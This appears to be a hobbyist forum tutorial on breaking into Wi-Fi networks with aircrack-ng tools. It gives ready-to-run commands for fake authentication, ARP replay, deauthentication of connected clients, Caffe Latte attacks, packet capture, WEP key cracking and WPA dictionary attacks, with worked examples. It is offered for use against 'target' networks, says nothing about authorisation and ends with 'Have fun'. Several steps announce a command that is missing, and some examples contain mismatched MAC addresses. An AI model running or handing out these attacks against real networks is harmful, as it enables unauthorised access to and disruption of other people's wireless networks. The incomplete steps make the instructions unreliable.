Fake authentication
You will probably need to do this before you do an ARP replay attack against a WEP network.
You will need to be running a packet sniffer in passive mode locked to the channel of the network you want to fake authentication with.
Code:
aireplay-ng -1 z -a xx -h yy [iface]
z = re-association timing timing. Start with 0 (zero).
xx = MAC address of target network.
yy = your card MAC address.
[iface] = interface of your wireless card (e.g. wlan0).
You can also try the -D switch if you're having trouble faking authentication with an access point.
Example:
Code:
aireplay-ng -1 z -D -a xx -h yy [iface]
Specific Aireplay-ng commands for packet injection
------------------------
Fake Authentication
aireplay-ng -1 [re-association timing] -e [target ESSID] -a [target AP MAC] -x [injection speed] -h [your MAC] [interface]
ARP Replay
aireplay-ng -3 -b [target AP MAC] -h [your MAC] [interface]
you can also use -e to specify the ESSID if you want:
aireplay-ng -3 -e [target AP ESSID] -b [target AP MAC] -h [your MAC] [interface]
Deauthentication
aireplay-ng -0 [# of deauths to send] -a [target AP MAC] -h [your MAC] [interface]
or you can deauthenticate a specific client connected to the network:
aireplay-ng -0 [# of deauths to send] -a [target AP MAC] -c [client MAC] -h [your MAC] [interface]
Caffe Latte
aireplay-ng -6 -e [target AP ESSID] -a [target AP MAC] -c [client MAC] -h [your MAC] [interface]
Key:
interface = interface name of your wireless card, e.g. wlan0
your MAC = MAC address of your wireless card doing the injection
target MAC = MAC address of the target wireless access point
client MAC = MAC address of a client connected to the network
injection speed = in packet per second. Default is 500, max is 1024
ESSID = name of the network
# of deauths = start with ~10
re-association timing = 0. Try 6000 if it fails after a few minutes
------------------------
Examples:
My interface is wlan1
My cards' MAC is 00:11:22:33:44:55
The target access points' MAC is aa:bb:cc:dd:ee:ff
The MAC of a connected client is 77:88:99:77:88:99
The ESSID (name) of the target network is "mynetwork"
Fake authentication
aireplay-ng -1 0 -e mynetwork -a aa:bb:cc:dd:ee:ff -h 00:11:22:33:44:55: wlan1
ARP Replay
aireplay-ng -3 -b aa:bb:cc:dd:ee:ff -x 1024 -h 00:11:22:33:55:55 wlan1
Deauthentication
aireplay-ng -0 10 -a aa:bb:cc:dd:ee:ff -h 11:22:33:44:55:66 wlan1
Caffe Latte
aireplay-ng -6 -e mynetwork -a aa:bb:cc:dd:ee:ff -c 77:88:99:77:88:99 -h 00:11:22:33:44:55 wlan1
How to capture packets with Airodump-ng
Airodump-ng is a packet sniffer used to gather data to crack networks (like Kismet.) To set it up:
First you need to check to see if there are any processes that might interfere with putting your wireless card into passive mode. Run this command:
If there are any running processes or programs that might interfere with Airodump, it should list them. Usually you'll get a couple of DHCP processes. Anything that comes up will be preceeded by a number. This number is their process ID. Example:
Code:
4535 dhcpcd
4536 dhcpcd
4700 dhcpcd
If you know your way around linux you should be able to figure out exactly which processes you need to kill, but if you don't know exactly what you're doing, you may as well kill all of them. To do this:
where xxxx is the process ID. Repeat this command for each process, then run "airmon-ng check" again to check that the processes are dead. Example:
Next you put your card into passive mode to capture packets.
Code:
airmon-ng start interface
interface = the name of your card, e.g. wlan1, en1.
Example:
Code:
airmon-ng start wlan1
Next you start Airodump and start capturing packets:
Code:
airodump-ng -w xxx -c yyy interface
xxx = the name of the file to save captured packets to.
yyy = the channel to sniff on.
interface = the interface of the card to sniff on (must be the same card that you just used airmon-ng to enable passive mode on.)
You can either pick a single channel (example: 5), multiple channels (example: 5,7,9), or a range of channels (example: 1-11) to sniff on.
Example to sniff on channel 5 on an interface named wlan1 and save to a file named "savefile":
Code:
airodump-ng -w savefile -c 5 wlan1
Example to sniff on channel 5, 7, and 9 on an interface named wlan1 and save to a file named "savefile":
Code:
airodump-ng -w savefile -c 5,7,9 wlan1
Example to sniff on channels 1-11 on an interface named wlan1 and save to a file named "savefile":
Code:
airodump-ng -w savefile -c 1-11 wlan1
Airodump is not interactive, meaning you'll need to quit it and restart it if you want to change channels.You don't need to go through the whole airmon-ng process again, just run airodump-ng with the different settings.
Control + Q will quit.
If you get permissions errors when executing one of these commands, add "sudo" before the command. You shouldn't need to do this if you are running from a live CD.
How to capture packets with Kismet
I already explained how to set up Kismet's configuration file (kismet.conf) in the first part of this guide. The command to actually start kismet is:
Nice and simple. If you get a permissions error (under some Linux installations and Mac OS X) you'll need to use sudo:
Kismet is interactive. The arrows on your keyboard will move up and down the list of networks. These are some common commands:
Shift + L = locks sniffing to the channel of the currently selected network.
Shift + H = starts channel hopping from channels 1-11.
Return = details of currently selected network
c = client list
r = a pretty graph
q = return to the main Kismet screen
Shift + Q = quit
m = mutes sound
s = lets you choose how to sort networks
Cracking WEP keys and brute forcing WPA passwords
Using Aircrack-ng. Aircrack uses the latest PTW attack against WEP by default.
WEP
You must capture initialisation vectors (IVs) with your packet sniffer.
For 64 bit WEP you'll need ~40,000 IVs.
For 128 bit WEP you'll need ~90,000 IVs.
Command:
Code:
aircrack-ng [pcap file]
pcap file = the dump file saved by your packet sniffer
Example:
Code:
aircrack-ng dump1.pcap
Aircrack will get to work on your file.
With low amounts of IVs you can try increasing the fudge factor. Basically, when aircrack looks at all the possible combinations of a WEP key, it assigns each hexadecimal byte a "vote" (shown in () brackets next to each hex byte when cracking). Default fudge factor is 2.
Example. Say one byte has 100 votes. 100 divided by the fudge factor (2) is 50. Therefore Aircrack will try combinations of bytes with more than 50 votes. Increasing the fudge factor to 4 will mean 100/4, so Aircrack will try each byte with 25+ votes. A factor of 10 will mean 100/10, so each byte with 10+ votes will be tried.
The fudge factor is set with the -f # option. Example for a factor of 8:
Code:
aircrack-ng -f 8 [pcap file]
WPA/WPA2
You need to capture a 4 way handshake. You can then try a brute force dictionary attack against it. You'll need a good dictionary with default passwords, common passwords and, common variations.
Command:
Code:
aircrack-ng -w [wordlist] [pcap file]
Have fun
